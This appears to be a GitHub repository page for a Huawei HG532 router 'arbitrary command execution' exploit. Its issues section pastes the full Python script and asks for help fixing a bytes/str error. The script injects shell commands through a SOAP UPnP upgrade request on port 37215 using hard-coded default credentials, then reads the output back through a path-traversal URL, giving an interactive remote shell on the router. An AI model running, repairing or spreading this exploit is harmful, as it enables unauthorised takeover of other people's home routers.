reb311ion / huawei_router_hg532

Huawei Router HG532 - Arbitrary Command Execution

I'm reb311ion.

• 🔭 I’m currently working as a cybersecurity R&D Engineer.
• 🌱 Main interests are Reverse Engineering and Malware Analysis
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huawei_router_hg532's Issues

no module named urllib2

TypeError: a bytes-like object is required, not 'str'

Hi can you help me fix this Error

Traceback (most recent call last):
File "exploit.py", line 44, in
main()
File "exploit.py", line 41, in main
pwd = exploit(targetip,pwd_path).strip("\n")
TypeError: a bytes-like object is required, not 'str'

`import logging,requests,os,sys
import urllib.request
from requests.auth import HTTPDigestAuth
DEFAULT_HEADERS = {"User-Agent": "Mozilla", }
DEFAULT_TIMEOUT = 5
def fetch_url(url):
global DEFAULT_HEADERS, DEFAULT_TIMEOUT
request = urllib.request.Request(url, headers=DEFAULT_HEADERS)
data = urllib.request.urlopen(request, timeout=DEFAULT_TIMEOUT).read()
return data
def exploit(ip, path):
url = "http://%s:37215/icon/../../../%s" % (ip, path)
data = fetch_url(url)
return data

def main():
pwd = "/"
cmd_path = "/tmp/ccmd"
pwd_path = "/tmp/cpwd"
while True:
targetip = sys.argv[1]
cmd_ = input("[{}]$ ".format(pwd))
cmd = "cd {} ; {} > {} ; pwd > {}".format(pwd,cmd_.split("|")[0],cmd_path,pwd_path)
rm = "\n <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">\n $(" + cmd + ")\n$(echo HUAWEIUPNP)\n</u:Upgrade>\n </s:Body>\n </s:Envelope>"
url = "http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1"
requests.post(url, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
assert cmd_path.startswith("/"), "An absolute path is required"
data = exploit(targetip, cmd_path)
open(cmd_path,"wb").write(data)
if "cd" in cmd_:
pass
elif "clear" in cmd_:
os.system("clear")
elif "cat" in cmd_:
os.system(cmd_.replace(cmd_.split("cat")[1].split(" ")[1],cmd_path))
else:
if "|" in cmd_:
os.system("cat {} | {}".format(cmd_path,cmd_.split("|")[1]))
else:
os.system("cat {}".format(cmd_path))
pwd = exploit(targetip,pwd_path).strip("\n")

if name == "main":
main()`